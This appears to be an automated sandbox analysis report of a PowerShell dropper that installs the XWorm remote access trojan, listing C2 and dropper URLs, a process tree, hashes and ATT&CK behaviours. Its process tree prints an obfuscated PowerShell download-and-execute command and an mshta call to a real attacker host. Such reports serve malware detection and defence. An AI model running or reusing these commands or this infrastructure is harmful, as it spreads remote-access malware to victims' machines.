Resubmissions

18-11-2024 15:42

241118-s5hh9avkdm 10

18-11-2024 15:39

241118-s3w9mazfmk 10

Analysis

  • max time kernel
    300s
  • max time network
    295s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-es
  • resource tags

    arch:x64arch:x86image:win11-20241007-eslocale:es-esos:windows11-21h2-x64systemwindows
  • submitted
    18-11-2024 15:42

General

  • Target

    prueba.ps1

  • Size

    124B

  • MD5

    6542fcabb69f2e45e5abb6ef369d6b4b

  • SHA1

    a9e758873a6c57d87b7e3bf02cfc04be6959d59b

  • SHA256

    fd4dd13239fcd0e3171711951768b399b1b2210af3e6b4f7cc1c0a594bff7133

  • SHA512

    6f9a75d4e17909c0dea87683bec1286964b8b21db927650c72db8b33df37b07a16b84bd56db42a5055e20c1895821b541467812dc03d5cefb4a144cebb2afb26

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.147.124.40/Capcha.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.147.124.40/x/8.png

Extracted

Family

xworm

C2

185.147.124.40:4404

Attributes
  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\prueba.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4968
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" http://185.147.124.40/Capcha.html
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:1204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://185.147.124.40/x/8.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2780
        • C:\Windows\system32\ipconfig.exe
          "C:\Windows\system32\ipconfig.exe" /flushdns
          4⤵
          • Gathers network information
          PID:1784
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2880

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    437395ef86850fbff98c12dff89eb621

    SHA1

    9cec41e230fa9839de1e5c42b7dbc8b31df0d69c

    SHA256

    9c39f3e1ee674a289926fddddfc5549740c488686ec6513f53848a225c192ba6

    SHA512

    bc669893f5c97e80a62fc3d15383ed7c62ffc86bc986401735903019bb96a5f13e4d0f6356baa2021267503a4eb62681e58e28fcff435350e83aa425fa76cd64

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    94cc8aa302136c58a17742da02e54c48

    SHA1

    06c269d1a0b648467cc627162d8c2a0727d94123

    SHA256

    8ff32c0be04cd2af2b9cd5ddb61d74c94af99a9ebad6a57b0e4f3f7896ef7225

    SHA512

    7d06f705121fcfc8e5d84ab3c7b5a23343e0f5731931a279c2794eefdbb32222f2f3c812767bd05c20dcc2251bb24713351f47865bd9c70e9cdbd600d79292de

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oa54w1wc.zqx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2780-35-0x0000029ED0690000-0x0000029ED06AE000-memory.dmp

    Filesize

    120KB

  • memory/2780-33-0x0000029EB7FE0000-0x0000029EB7FE6000-memory.dmp

    Filesize

    24KB

  • memory/2780-32-0x0000029ED0630000-0x0000029ED064A000-memory.dmp

    Filesize

    104KB

  • memory/2780-31-0x0000029ED0650000-0x0000029ED0664000-memory.dmp

    Filesize

    80KB

  • memory/2880-34-0x0000000000400000-0x0000000000414000-memory.dmp

    Filesize

    80KB

  • memory/2880-37-0x0000000005580000-0x000000000561C000-memory.dmp

    Filesize

    624KB

  • memory/2880-41-0x0000000006E40000-0x00000000073E6000-memory.dmp

    Filesize

    5.6MB

  • memory/2880-40-0x00000000067F0000-0x0000000006882000-memory.dmp

    Filesize

    584KB

  • memory/2880-39-0x0000000005F80000-0x0000000006082000-memory.dmp

    Filesize

    1.0MB

  • memory/2880-38-0x0000000005C20000-0x0000000005C86000-memory.dmp

    Filesize

    408KB

  • memory/4968-13-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

    Filesize

    10.8MB

  • memory/4968-2-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

    Filesize

    10.8MB

  • memory/4968-0-0x00007FFD6EF13000-0x00007FFD6EF15000-memory.dmp

    Filesize

    8KB

  • memory/4968-1-0x000001AC26DC0000-0x000001AC26E42000-memory.dmp

    Filesize

    520KB

  • memory/4968-11-0x000001AC26CE0000-0x000001AC26CF0000-memory.dmp

    Filesize

    64KB

  • memory/4968-12-0x000001AC27060000-0x000001AC27162000-memory.dmp

    Filesize

    1.0MB

  • memory/4968-15-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

    Filesize

    10.8MB

  • memory/4968-14-0x000001AC26F50000-0x000001AC26F72000-memory.dmp

    Filesize

    136KB

  • memory/4968-19-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

    Filesize

    10.8MB